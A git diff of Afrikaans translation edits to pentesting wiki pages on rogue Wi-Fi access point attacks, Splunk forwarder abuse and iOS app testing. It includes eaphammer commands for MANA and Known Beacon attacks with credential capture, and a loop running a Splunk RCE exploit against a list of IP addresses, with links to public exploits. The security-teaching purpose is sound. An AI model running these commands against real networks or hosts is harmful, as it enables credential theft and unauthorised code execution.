Nou of later (wanneer jy reeds 'n paar outentikasie pogings gevang het) kan jy die privaat RSA-sleutel by wireshark voeg in: `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...`
|
||||
|
||||
@ -581,24 +581,24 @@ Voeg 'n nuwe inskrywing by en vul die vorm met hierdie waardes: **IP adres = eni
|
||||
|
||||
.png>)
|
||||
|
||||
En kyk na die nuwe **"Decrypted TLS" tab**:
|
||||
En kyk na die nuwe **"Decrypted TLS" oortjie**:
|
||||
|
||||
.png>)
|
||||
|
||||
## KARMA, MANA, Loud MANA en Bekende bakens aanval
|
||||
|
||||
### ESSID en MAC swart/blanklyste
|
||||
### ESSID en MAC swart/whitelists
|
||||
|
||||
Verskillende tipes Media Access Control Filter Lyste (MFACLs) en hul ooreenstemmende modi en effekte op die gedrag van 'n rogue Access Point (AP):
|
||||
|
||||
1. **MAC-gebaseerde Blanklys**:
|
||||
- Die rogue AP sal slegs op vrae van toestelle wat in die blanklys gespesifiseer is, reageer, en onsigbaar bly vir alle ander wat nie gelys is nie.
|
||||
2. **MAC-gebaseerde Swartlys**:
|
||||
- Die rogue AP sal vrae van toestelle op die swartlys ignoreer, wat effektief die rogue AP onsigbaar maak vir daardie spesifieke toestelle.
|
||||
3. **SSID-gebaseerde Blanklys**:
|
||||
- Die rogue AP sal slegs op vrae vir spesifieke ESSIDs wat gelys is, reageer, wat dit onsigbaar maak vir toestelle wie se Voorkeur Netwerk Lyste (PNLs) nie daardie ESSIDs bevat nie.
|
||||
4. **SSID-gebaseerde Swartlys**:
|
||||
- Die rogue AP sal nie op vrae vir die spesifieke ESSIDs op die swartlys reageer nie, wat dit onsigbaar maak vir toestelle wat daardie spesifieke netwerke soek.
|
||||
1. **MAC-gebaseerde Whitelist**:
|
||||
- Die rogue AP sal slegs op navraag versoeke van toestelle wat in die whitelist gespesifiseer is, reageer, en onsigbaar bly vir alle ander wat nie gelys is nie.
|
||||
2. **MAC-gebaseerde Blacklist**:
|
||||
- Die rogue AP sal navraag versoeke van toestelle op die blacklist ignoreer, wat effektief die rogue AP onsigbaar maak vir daardie spesifieke toestelle.
|
||||
3. **SSID-gebaseerde Whitelist**:
|
||||
- Die rogue AP sal slegs op navraag versoeke vir spesifieke ESSIDs wat gelys is, reageer, wat dit onsigbaar maak vir toestelle wie se Gunsteling Netwerk Lyste (PNLs) nie daardie ESSIDs bevat nie.
|
||||
4. **SSID-gebaseerde Blacklist**:
|
||||
- Die rogue AP sal nie op navraag versoeke vir die spesifieke ESSIDs op die blacklist reageer nie, wat dit onsigbaar maak vir toestelle wat daardie spesifieke netwerke soek.
|
||||
```bash
|
||||
# example EAPHammer MFACL file, wildcards can be used
|
||||
09:6a:06:c8:36:af
|
||||
@ -620,33 +620,33 @@ name3
|
||||
```
|
||||
### KARMA
|
||||
|
||||
Hierdie metode laat 'n **aanvaller toe om 'n kwaadwillige toegangspunt (AP) te skep wat op alle proefversoeke** van toestelle wat probeer om aan netwerke te koppel, reageer. Hierdie tegniek **mislei toestelle om aan 'n aanvaller se AP te koppel** deur die netwerke na te boots waarna die toestelle soek. Sodra 'n toestel 'n verbindingsversoek na hierdie rogue AP stuur, voltooi dit die verbinding, wat die toestel lei om verkeerdelik aan die aanvaller se netwerk te koppel.
|
||||
Hierdie metode laat 'n **aanvaller toe om 'n kwaadwillige toegangspunt (AP) te skep wat op alle proefversoeke** van toestelle wat probeer om met netwerke te verbind, reageer. Hierdie tegniek **mislei toestelle om met 'n aanvaller se AP te verbind** deur die netwerke na te boots waarna die toestelle soek. Sodra 'n toestel 'n verbindingsversoek na hierdie onwettige AP stuur, voltooi dit die verbinding, wat die toestel lei om verkeerdelik met die aanvaller se netwerk te verbind.
|
||||
|
||||
### MANA
|
||||
|
||||
Toe het **toestelle begin om ongevraagde netwerkreaksies te ignoreer**, wat die doeltreffendheid van die oorspronklike karma-aanval verminder het. egter, 'n nuwe metode, bekend as die **MANA-aanval**, is deur Ian de Villiers en Dominic White bekendgestel. Hierdie metode behels dat die rogue AP **die Gekose Netwerk Lyste (PNL) van toestelle vasvang deur op hul uitsending proefversoeke te reageer** met netwerkname (SSID's) wat voorheen deur die toestelle versoek is. Hierdie gesofistikeerde aanval omseil die beskerming teen die oorspronklike karma-aanval deur die manier waarop toestelle bekende netwerke onthou en prioriteit gee, te benut.
|
||||
Toe het **toestelle begin om onbetroubare netwerkreaksies te ignoreer**, wat die doeltreffendheid van die oorspronklike karma-aanval verminder het. 'n Nuwe metode, bekend as die **MANA-aanval**, is egter deur Ian de Villiers en Dominic White bekendgestel. Hierdie metode behels dat die onwettige AP **die Gekose Netwerk Lyste (PNL) van toestelle vasvang deur op hul uitsendingsproefversoeke te reageer** met netwerkname (SSID's) wat voorheen deur die toestelle gesien is. Hierdie gesofistikeerde aanval omseil die beskerming teen die oorspronklike karma-aanval deur die manier waarop toestelle bekende netwerke onthou en prioriteit gee, te benut.
|
||||
|
||||
Die MANA-aanval werk deur beide gerigte en uitsending proefversoeke van toestelle te monitor. Vir gerigte versoeke, registreer dit die toestel se MAC-adres en die versoekte netwerknaam, en voeg hierdie inligting by 'n lys. Wanneer 'n uitsending versoek ontvang word, reageer die AP met inligting wat ooreenstem met enige van die netwerke op die toestel se lys, wat die toestel aanmoedig om aan die rogue AP te koppel.
|
||||
Die MANA-aanval werk deur beide gerigte en uitsendingsproefversoeke van toestelle te monitor. Vir gerigte versoeke, registreer dit die toestel se MAC-adres en die versoekte netwerknaam, en voeg hierdie inligting by 'n lys. Wanneer 'n uitsendingsversoek ontvang word, reageer die AP met inligting wat ooreenstem met enige van die netwerke op die toestel se lys, wat die toestel aanmoedig om met die onwettige AP te verbind.
|
||||
```bash
|
||||
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
|
||||
```
|
||||
### Loud MANA
|
||||
|
||||
'n **Loud MANA-aanval** is 'n gevorderde strategie vir wanneer toestelle nie gerigte ondersoeke gebruik nie of wanneer hul Gekoesterde Netwerk Lyste (PNL) onbekend is vir die aanvaller. Dit werk op die beginsel dat **toestelle in dieselfde area waarskynlik sommige netwerkname in hul PNLs deel**. In plaas daarvan om selektief te reageer, stuur hierdie aanval ondersoekreaksies uit vir elke netwerknaam (ESSID) wat in die saamgestelde PNLs van alle waargeneemde toestelle gevind word. Hierdie breë benadering verhoog die kans dat 'n toestel 'n bekende netwerk herken en probeer om met die onwettige Toegangspunt (AP) te verbind.
|
||||
'n **Loud MANA-aanval** is 'n gevorderde strategie vir wanneer toestelle nie gerigte ondersoeke gebruik nie of wanneer hul Gekoesterde Netwerk Lyste (PNL) onbekend is vir die aanvaller. Dit werk op die beginsel dat **toestelle in dieselfde area waarskynlik sommige netwerkname in hul PNLs deel**. In plaas daarvan om selektief te reageer, stuur hierdie aanval ondersoekreaksies uit vir elke netwerknaam (ESSID) wat in die gekombineerde PNLs van alle waargeneemde toestelle gevind word. Hierdie breë benadering verhoog die kans dat 'n toestel 'n bekende netwerk herken en probeer om met die onwettige Toegangspunt (AP) te verbind.
|
||||
```bash
|
||||
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
|
||||
```
|
||||
### Bekende Beacon-aanval
|
||||
|
||||
Wanneer die **Loud MANA-aanval** dalk nie genoegsaam is nie, bied die **Bekende Beacon-aanval** 'n ander benadering. Hierdie metode **brute-forces die verbindsproses deur 'n AP te simuleer wat op enige netwerknaam reageer, terwyl dit deur 'n lys van potensiële ESSIDs uit 'n woordlys draai**. Dit simuleer die teenwoordigheid van talle netwerke, in die hoop om 'n ESSID binne die slagoffer se PNL te pas, wat 'n verbindoog poging tot die gefabriseerde AP uitlok. Die aanval kan versterk word deur dit te kombineer met die `--loud` opsie vir 'n meer aggressiewe poging om toestelle te vang.
|
||||
Wanneer die **Luid MANA-aanval** dalk nie genoegsaam is nie, bied die **Bekende Beacon-aanval** 'n ander benadering. Hierdie metode **brute-forces die verbindsproses deur 'n AP te simuleer wat op enige netwerknaam reageer, terwyl dit deur 'n lys van potensiële ESSIDs uit 'n woordlys draai**. Dit simuleer die teenwoordigheid van talle netwerke, in die hoop om 'n ESSID binne die slagoffer se PNL te pas, wat 'n verbindoogpoging na die gefabriseerde AP uitlok. Die aanval kan versterk word deur dit te kombineer met die `--loud` opsie vir 'n meer aggressiewe poging om toestelle te vang.
|
||||
|
||||
Eaphammer het hierdie aanval geïmplementeer as 'n MANA-aanval waar al die ESSIDs binne 'n lys opgelaad word (jy kan dit ook met `--loud` kombineer om 'n Loud MANA + Bekende beacons-aanval te skep):
|
||||
Eaphammer het hierdie aanval as 'n MANA-aanval geïmplementeer waar al die ESSIDs binne 'n lys opgelê word (jy kan dit ook met `--loud` kombineer om 'n Luid MANA + Bekende beacons-aanval te skep):
|
||||
```bash
|
||||
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
|
||||
```
|
||||
**Bekende Beacon Burst aanval**
|
||||
**Bekende Beacon Burst-aanval**
|
||||
|
||||
Die **Bekende Beacon Burst aanval** behels **vinnige uitsending van beacon rame vir elke ESSID wat in 'n lêer gelys is**. Dit skep 'n digte omgewing van vals netwerke, wat die waarskynlikheid dat toestelle met die rogue AP verbind, aansienlik verhoog, veral wanneer dit gekombineer word met 'n MANA-aanval. Hierdie tegniek benut spoed en volume om toestelle se netwerkkeuse-meganismes te oorweldig.
|
||||
Die **Bekende Beacon Burst-aanval** behels **vinnige uitsending van beacon-raamwerke vir elke ESSID wat in 'n lêer gelys is**. Dit skep 'n digte omgewing van vals netwerke, wat die waarskynlikheid dat toestelle met die rogue AP verbind, aansienlik verhoog, veral wanneer dit gekombineer word met 'n MANA-aanval. Hierdie tegniek benut spoed en volume om toestelle se netwerkkeuse-meganismes te oorweldig.
|
||||
```bash
|
||||
# transmit a burst of 5 forged beacon packets for each entry in list
|
||||
./forge-beacons -i wlan1 \
|
||||
@ -659,7 +659,7 @@ Die **Bekende Beacon Burst aanval** behels **vinnige uitsending van beacon rame
|
||||
|
||||
**Wi-Fi Direk** is 'n protokol wat toestelle in staat stel om direk met mekaar te skakel deur middel van Wi-Fi sonder die behoefte aan 'n tradisionele draadlose toegangspunt. Hierdie vermoë is geïntegreer in verskeie Internet of Things (IoT) toestelle, soos drukkers en televisies, wat direkte toestel-tot-toestel kommunikasie fasiliteer. 'n Opmerkelijke kenmerk van Wi-Fi Direk is dat een toestel die rol van 'n toegangspunt, bekend as die groepseienaar, aanneem om die verbinding te bestuur.
|
||||
|
||||
Sekuriteit vir Wi-Fi Direk verbindings word gevestig deur **Wi-Fi Protected Setup (WPS)**, wat verskeie metodes vir veilige paarvorming ondersteun, insluitend:
|
||||
Sekuriteit vir Wi-Fi Direk verbindings word gevestig deur middel van **Wi-Fi Protected Setup (WPS)**, wat verskeie metodes vir veilige paarvorming ondersteun, insluitend:
|
||||
|
||||
- **Drukknop Konfigurasie (PBC)**
|
||||
- **PIN invoer**
|
||||
@ -667,9 +667,9 @@ Sekuriteit vir Wi-Fi Direk verbindings word gevestig deur **Wi-Fi Protected Setu
|
||||
|
||||
Hierdie metodes, veral PIN invoer, is kwesbaar vir dieselfde kwesbaarhede as WPS in tradisionele Wi-Fi netwerke, wat hulle teikens maak vir soortgelyke aanvalsvectors.
|
||||
|
||||
### EvilDirect Hijacking
|
||||
### EvilDirect Kaap
|
||||
|
||||
**EvilDirect Hijacking** is 'n aanval wat spesifiek op Wi-Fi Direk gerig is. Dit weerspieël die konsep van 'n Evil Twin aanval, maar teiken Wi-Fi Direk verbindings. In hierdie scenario, doen 'n aanvaller asof hy 'n wettige groepseienaar is met die doel om toestelle te mislei om met 'n kwaadwillige entiteit te verbind. Hierdie metode kan uitgevoer word met behulp van gereedskap soos `airbase-ng` deur die kanaal, ESSID, en MAC adres van die geïmiteerde toestel te spesifiseer:
|
||||
**EvilDirect Kaap** is 'n aanval wat spesifiek op Wi-Fi Direk gerig is. Dit weerspieël die konsep van 'n Evil Twin aanval, maar teiken Wi-Fi Direk verbindings. In hierdie scenario, doen 'n aanvaller asof hy 'n legitieme groepseienaar is met die doel om toestelle te mislei om met 'n kwaadwillige entiteit te verbind. Hierdie metode kan uitgevoer word met behulp van gereedskap soos `airbase-ng` deur die kanaal, ESSID, en MAC adres van die geïmplanteerde toestel te spesifiseer:
|
||||
|
||||
## Verwysings
|
||||
|
||||
|
@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
As **jy 'n masjien **intern** of **extern** op **enumerate**, en jy vind **Splunk wat loop** (poort 8090), as jy gelukkig enige **geldige akrediteer** ken, kan jy die **Splunk diens misbruik** om 'n **shell** as die gebruiker wat Splunk loop, te **voer**. As root dit loop, kan jy voorregte na root opgradeer.
|
||||
As **jy 'n masjien **intern** of **extern** opneem en **Splunk draai** (poort 8090), as jy gelukkig enige **geldige akrediteer** ken, kan jy die **Splunk-diens misbruik** om 'n **shell** as die gebruiker wat Splunk draai, uit te voer. As root dit draai, kan jy voorregte na root opgradeer.
|
||||
|
||||
As jy ook **alreeds root is en die Splunk diens nie net op localhost luister nie**, kan jy die **wagwoord** lêer **van** die Splunk diens **steel** en die wagwoorde **krak**, of **nuwe** akrediteer daaraan **toevoeg**. En volharding op die gasheer handhaaf.
|
||||
As jy ook **reeds root is en die Splunk-diens nie net op localhost luister nie**, kan jy die **wagwoord** lêer **van** die Splunk-diens **steel** en die wagwoorde **krak**, of **nuwe** akrediteer daaraan **byvoeg**. En volharding op die gasheer handhaaf.
|
||||
|
||||
In die eerste beeld hieronder kan jy sien hoe 'n Splunkd webblad lyk.
|
||||
|
||||
@ -13,19 +13,19 @@ In die eerste beeld hieronder kan jy sien hoe 'n Splunkd webblad lyk.
|
||||
Vir verdere besonderhede, kyk na die pos [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/). Dit is net 'n opsomming:
|
||||
|
||||
**Exploit Oorsig:**
|
||||
'n Exploit wat die Splunk Universele Voorouer Agent (UF) teiken, laat aanvallers met die agent wagwoord toe om arbitrêre kode op stelsels wat die agent loop, uit te voer, wat moontlik 'n hele netwerk in gevaar stel.
|
||||
'n Exploit wat die Splunk Universele Voorouer Agent (UF) teiken, laat aanvallers met die agent wagwoord toe om arbitrêre kode op stelsels wat die agent draai, uit te voer, wat moontlik 'n hele netwerk in gevaar stel.
|
||||
|
||||
**Belangrike Punten:**
|
||||
|
||||
- Die UF agent valideer nie inkomende verbindings of die egtheid van kode nie, wat dit kwesbaar maak vir ongeoorloofde kode-uitvoering.
|
||||
- Die UF-agent valideer nie inkomende verbindings of die egtheid van kode nie, wat dit kwesbaar maak vir ongeoorloofde kode-uitvoering.
|
||||
- Algemene wagwoord verkrygingsmetodes sluit in om hulle in netwerk gidse, lêer deel, of interne dokumentasie te vind.
|
||||
- Suksevolle uitbuiting kan lei tot SYSTEM of root vlak toegang op gecompromitteerde gasheers, data uitvloeiing, en verdere netwerk infiltrasie.
|
||||
- Suksevolle uitbuiting kan lei tot SYSTEM of root vlak toegang op gecompromitteerde gashere, data eksfiltrasie, en verdere netwerk infiltrasie.
|
||||
|
||||
**Exploit Uitvoering:**
|
||||
|
||||
1. Aanvaller verkry die UF agent wagwoord.
|
||||
1. Aanvaller verkry die UF-agent wagwoord.
|
||||
2. Gebruik die Splunk API om opdragte of skripte na die agente te stuur.
|
||||
3. Mogelijke aksies sluit lêer ekstraksie, gebruiker rekening manipulasie, en stelsel kompromie in.
|
||||
3. Moglike aksies sluit lêer ekstraksie, gebruiker rekening manipulasie, en stelsel kompromie in.
|
||||
|
||||
**Impak:**
|
||||
|
||||
@ -39,9 +39,9 @@ for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8
|
||||
```
|
||||
**Gebruikbare openbare exploits:**
|
||||
|
||||
- https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2
|
||||
- https://www.exploit-db.com/exploits/46238
|
||||
- https://www.exploit-db.com/exploits/46487
|
||||
- [https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2](https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2)
|
||||
- [https://www.exploit-db.com/exploits/46238](https://www.exploit-db.com/exploits/46238)
|
||||
- [https://www.exploit-db.com/exploits/46487](https://www.exploit-db.com/exploits/46487)
|
||||
|
||||
## Misbruik van Splunk-vrae
|
||||
|
||||
|
@ -10,7 +10,7 @@ ios-basics.md
|
||||
|
||||
## Testing Environment
|
||||
|
||||
In hierdie bladsy kan jy inligting vind oor die **iOS simulator**, **emulators** en **jailbreaking:**
|
||||
Op hierdie bladsy kan jy inligting vind oor die **iOS simulator**, **emulators** en **jailbreaking:**
|
||||
|
||||
{{#ref}}
|
||||
ios-testing-environment.md
|
||||
@ -20,13 +20,13 @@ ios-testing-environment.md
|
||||
|
||||
### Basic iOS Testing Operations
|
||||
|
||||
Tydens die toetsing **sal verskeie operasies voorgestel word** (verbinding maak met die toestel, lêers lees/schryf/oplaai/aflaai, sommige gereedskap gebruik...). Daarom, as jy nie weet hoe om enige van hierdie aksies uit te voer nie, **begin asseblief om die bladsy te lees**:
|
||||
Tydens die toetsing **sal verskeie operasies voorgestel word** (verbinde met die toestel, lêers lees/schryf/oplaai/aflaai, sommige gereedskap gebruik...). Daarom, as jy nie weet hoe om enige van hierdie aksies uit te voer nie, **begin asseblief om die bladsy te lees**:
|
||||
|
||||
{{#ref}}
|
||||
basic-ios-testing-operations.md
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> Vir die volgende stappe **moet die app geïnstalleer wees** op die toestel en moet die **IPA-lêer** van die toepassing reeds verkry gewees het.\
|
||||
> Lees die [Basic iOS Testing Operations](basic-ios-testing-operations.md) bladsy om te leer hoe om dit te doen.
|
||||
|
||||
@ -34,8 +34,8 @@ basic-ios-testing-operations.md
|
||||
|
||||
Sommige interessante iOS - IPA-lêer decompilers:
|
||||
|
||||
- https://github.com/LaurieWired/Malimite
|
||||
- https://ghidra-sre.org/
|
||||
- [https://github.com/LaurieWired/Malimite](https://github.com/LaurieWired/Malimite)
|
||||
- [https://ghidra-sre.org/](https://ghidra-sre.org/)
|
||||
|
||||
Dit word aanbeveel om die gereedskap [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) te gebruik om 'n outomatiese Statiese Analise op die IPA-lêer uit te voer.
|
||||
|
||||
@ -50,7 +50,7 @@ otool -hv <app-binary> | grep PIE # Dit moet die PIE-vlag insluit
|
||||
- **Stack Canaries**: Om die integriteit van die stapel te valideer, word 'n ‘canary’ waarde op die stapel geplaas voordat 'n funksie aangeroep word en weer geverifieer sodra die funksie eindig.
|
||||
|
||||
```bash
|
||||
otool -I -v <app-binary> | grep stack_chk # Dit moet die simbole insluit: stack_chk_guard en stack_chk_fail
|
||||
otool -I -v <app-binary> | grep stack_chk # Dit moet die simbole: stack_chk_guard en stack_chk_fail insluit
|
||||
```
|
||||
|
||||
- **ARC (Automatic Reference Counting)**: Om algemene geheue korrupsie foute te voorkom
|
||||
@ -135,7 +135,7 @@ grep -iER "_vsprintf"
|
||||
|
||||
### Basic Dynamic Analysis
|
||||
|
||||
Kyk na die dinamiese analise wat [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) uitvoer. Jy sal deur die verskillende weergawes moet navigeer en met hulle moet interaksie hê, maar dit sal verskeie klasse aanhaak terwyl dit ander dinge doen en 'n verslag voorberei sodra jy klaar is.
|
||||
Kyk na die dinamiese analise wat [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) uitvoer. Jy sal deur die verskillende weergawes moet navigeer en met hulle moet interaksie hê, maar dit sal verskeie klasse aanraak terwyl dit ander dinge doen en 'n verslag voorberei sodra jy klaar is.
|
||||
|
||||
### Listing Installed Apps
|
||||
|
||||
@ -162,25 +162,25 @@ ios-hooking-with-objection.md
|
||||
|
||||
### IPA Struktuur
|
||||
|
||||
Die struktuur van 'n **IPA-lêer** is essensieel dié van 'n **gecomprimeerde pakket**. Deur sy uitbreiding na `.zip` te hernoem, kan dit **decomprimeer** word om sy inhoud te onthul. Binne hierdie struktuur verteenwoordig 'n **Bundle** 'n volledig verpakte toepassing wat gereed is vir installasie. Binne-in sal jy 'n gids met die naam `<NAME>.app` vind, wat die toepassing se hulpbronne bevat.
|
||||
Die struktuur van 'n **IPA-lêer** is essensieel dié van 'n **gecomprimeerde pakket**. Deur sy uitbreiding na `.zip` te hernoem, kan dit **ontspanne** word om sy inhoud te onthul. Binne hierdie struktuur verteenwoordig 'n **Bundle** 'n volledig verpakte toepassing wat gereed is vir installasie. Binne-in sal jy 'n gids vind met die naam `<NAME>.app`, wat die toepassing se hulpbronne insluit.
|
||||
|
||||
- **`Info.plist`**: Hierdie lêer hou spesifieke konfigurasiedetails van die toepassing.
|
||||
- **`_CodeSignature/`**: Hierdie gids sluit 'n plist-lêer in wat 'n handtekening bevat, wat die integriteit van alle lêers in die bundel verseker.
|
||||
- **`Assets.car`**: 'n Gecomprimeerde argief wat hulpbronlêers soos ikone stoor.
|
||||
- **`Frameworks/`**: Hierdie gids huisves die toepassing se inheemse biblioteke, wat in die vorm van `.dylib` of `.framework` lêers kan wees.
|
||||
- **`PlugIns/`**: Dit kan uitbreidings van die toepassing insluit, bekend as `.appex` lêers, alhoewel hulle nie altyd teenwoordig is nie. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Dit word gebruik om jou toepassing se permanente data vir offline gebruik te stoor, om tydelike data te kas, en om ongedaan maak funksionaliteit aan jou app op 'n enkele toestel toe te voeg. Om data oor verskeie toestelle in 'n enkele iCloud-rekening te sinkroniseer, spieël Core Data outomaties jou skema na 'n CloudKit-container.
|
||||
- **`PlugIns/`**: Dit kan uitbreidings van die toepassing insluit, bekend as `.appex` lêers, alhoewel hulle nie altyd teenwoordig is. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Dit word gebruik om jou toepassing se permanente data vir offline gebruik te stoor, om tydelike data te kas, en om ongedaan maak funksionaliteit aan jou app op 'n enkele toestel toe te voeg. Om data oor verskeie toestelle in 'n enkele iCloud-rekening te sinkroniseer, spieël Core Data outomaties jou skema na 'n CloudKit-container.
|
||||
- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): Die `PkgInfo`-lêer is 'n alternatiewe manier om die tipe en skepper kodes van jou toepassing of bundel te spesifiseer.
|
||||
- **en.lproj, fr.proj, Base.lproj**: Is die taal pakkette wat hulpbronne vir daardie spesifieke tale bevat, en 'n standaard hulpbron in die geval dat 'n taal nie ondersteun word nie.
|
||||
- **Sekuriteit**: Die `_CodeSignature/` gids speel 'n kritieke rol in die app se sekuriteit deur die integriteit van alle gebundelde lêers deur digitale handtekeninge te verifieer.
|
||||
- **Sekuriteit**: Die `_CodeSignature/` gids speel 'n kritieke rol in die app se sekuriteit deur die integriteit van alle gebundelde lêers deur middel van digitale handtekeninge te verifieer.
|
||||
- **Hulpbronbestuur**: Die `Assets.car`-lêer gebruik kompressie om grafiese hulpbronne doeltreffend te bestuur, wat noodsaaklik is vir die optimalisering van toepassingprestasie en die vermindering van die algehele grootte.
|
||||
- **Frameworks en PlugIns**: Hierdie gidse beklemtoon die modulariteit van iOS-toepassings, wat ontwikkelaars in staat stel om herbruikbare kode biblioteke (`Frameworks/`) in te sluit en app-funksionaliteit uit te brei (`PlugIns/`).
|
||||
- **Lokalizering**: Die struktuur ondersteun verskeie tale, wat globale toepassingsbereik fasiliteer deur hulpbronne vir spesifieke taal pakkette in te sluit.
|
||||
|
||||
**Info.plist**
|
||||
|
||||
Die **Info.plist** dien as 'n hoeksteen vir iOS-toepassings, wat sleutel konfigurasiedata in die vorm van **sleutel-waarde** pare kapsuleer. Hierdie lêer is 'n vereiste nie net vir toepassings nie, maar ook vir app-uitbreidings en frameworks wat binne ingesluit is. Dit is gestruktureer in óf XML óf 'n binêre formaat en hou kritieke inligting wat wissel van app-toestemmings tot sekuriteitskonfigurasies. Vir 'n gedetailleerde verkenning van beskikbare sleutels, kan 'n mens na die [**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc) verwys.
|
||||
Die **Info.plist** dien as 'n hoeksteen vir iOS-toepassings, wat sleutel konfigurasiedata in die vorm van **sleutel-waarde** pare insluit. Hierdie lêer is 'n vereiste nie net vir toepassings nie, maar ook vir app-uitbreidings en frameworks wat binne ingesluit is. Dit is gestruktureer in óf XML óf 'n binêre formaat en hou kritieke inligting wat wissel van app-toestemmings tot sekuriteitskonfigurasies. Vir 'n gedetailleerde verkenning van beskikbare sleutels, kan 'n mens na die [**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc) verwys.
|
||||
|
||||
Vir diegene wat met hierdie lêer in 'n meer toeganklike formaat wil werk, kan die XML-omskakeling maklik bereik word deur die gebruik van `plutil` op macOS (natuurlik beskikbaar op weergawes 10.2 en later) of `plistutil` op Linux. Die opdragte vir omskakeling is soos volg:
|
||||
Vir diegene wat met hierdie lêer in 'n meer toeganklike formaat wil werk, kan die XML-omskakeling moeiteloos bereik word deur die gebruik van `plutil` op macOS (natuurlik beskikbaar op weergawes 10.2 en later) of `plistutil` op Linux. Die opdragte vir omskakeling is soos volg:
|
||||
|
||||
- **Vir macOS**:
|
||||
```bash
|
||||
@ -191,20 +191,20 @@ $ plutil -convert xml1 Info.plist
|
||||
$ apt install libplist-utils
|
||||
$ plistutil -i Info.plist -o Info_xml.plist
|
||||
```
|
||||
Onder die menigte inligting wat die **Info.plist** lêer kan onthul, sluit noemenswaardige inskrywings app toestemming stringe (`UsageDescription`), pasgemaakte URL skemas (`CFBundleURLTypes`), en konfigurasies vir App Transport Security (`NSAppTransportSecurity`) in. Hierdie inskrywings, saam met ander soos uitgevoerde/ingevoerde pasgemaakte dokument tipes (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), kan maklik gevind word deur die lêer te ondersoek of 'n eenvoudige `grep` opdrag te gebruik:
|
||||
Onder die menigte inligting wat die **Info.plist** lêer kan bekendmaak, sluit noemenswaardige inskrywings app toestemming stringe (`UsageDescription`), pasgemaakte URL skemas (`CFBundleURLTypes`), en konfigurasies vir App Transport Security (`NSAppTransportSecurity`) in. Hierdie inskrywings, saam met ander soos uitgevoerde/ingevoerde pasgemaakte dokument tipes (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), kan maklik gevind word deur die lêer te ondersoek of 'n eenvoudige `grep` opdrag te gebruik:
|
||||
```bash
|
||||
$ grep -i <keyword> Info.plist
|
||||
```
|
||||
**Data Paaie**
|
||||
|
||||
In die iOS-omgewing is gidsen spesifiek aangewys vir **stelsels toepassings** en **gebruikers geïnstalleerde toepassings**. Stelsels toepassings woon in die `/Applications` gids, terwyl gebruikers geïnstalleerde toepassings onder `/var/mobile/containers/Data/Application/` geplaas word. Hierdie toepassings word toegeskryf aan 'n unieke identifiseerder bekend as 'n **128-bit UUID**, wat die taak om 'n app se gids handmatig te vind uitdagend maak weens die ewekansigheid van die gidsname.
|
||||
In die iOS-omgewing is gidse spesifiek aangewys vir **stelsels toepassings** en **gebruikers geïnstalleerde toepassings**. Stelsels toepassings woon in die `/Applications` gids, terwyl gebruikers geïnstalleerde toepassings onder `/var/mobile/containers/Data/Application/` geplaas word. Hierdie toepassings word toegeskryf met 'n unieke identifiseerder bekend as 'n **128-bit UUID**, wat die taak om 'n app se gids handmatig te vind uitdagend maak weens die ewekansigheid van die gidse name.
|
||||
|
||||
> [!WARNING]
|
||||
> Aangesien toepassings in iOS in 'n sandbox moet wees, sal elke app ook 'n gids hê binne **`$HOME/Library/Containers`** met die app se **`CFBundleIdentifier`** as die gidsnaam.
|
||||
>
|
||||
> egter, beide gidse (data & houer gidse) het die lêer **`.com.apple.mobile_container_manager.metadata.plist`** wat beide lêers verbind in die sleutel `MCMetadataIdentifier`).
|
||||
> Beide gidse (data & houer gidse) het egter die lêer **`.com.apple.mobile_container_manager.metadata.plist`** wat beide lêers verbind in die sleutel `MCMetadataIdentifier`).
|
||||
|
||||
Om die ontdekking van 'n gebruikers geïnstalleerde app se installasie gids te vergemaklik, bied die **objection tool** 'n nuttige opdrag, `env`. Hierdie opdrag onthul gedetailleerde gidsinligting vir die betrokke app. Hieronder is 'n voorbeeld van hoe om hierdie opdrag te gebruik:
|
||||
Om die ontdekking van 'n gebruikers geïnstalleerde app se installasie gids te vergemaklik, bied die **objection tool** 'n nuttige opdrag, `env`. Hierdie opdrag onthul gedetailleerde gidse inligting vir die betrokke app. Hieronder is 'n voorbeeld van hoe om hierdie opdrag te gebruik:
|
||||
```bash
|
||||
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env
|
||||
|
||||
@ -224,46 +224,46 @@ Opdragte soos `ps` en `lsof` kan ook gebruik word om die app se proses te identi
|
||||
ps -ef | grep -i <app-name>
|
||||
lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
```
|
||||
**Bundel gids:**
|
||||
**Bundle directory:**
|
||||
|
||||
- **AppName.app**
|
||||
- Dit is die Aansoek Bundel soos voorheen in die IPA gesien, dit bevat noodsaaklike aansoekdata, statiese inhoud sowel as die aansoek se gecompileerde binêre.
|
||||
- Dit is die Toepassing Bundel soos voorheen in die IPA gesien, dit bevat noodsaaklike toepassingsdata, statiese inhoud sowel as die toepassings se gecompileerde binêre.
|
||||
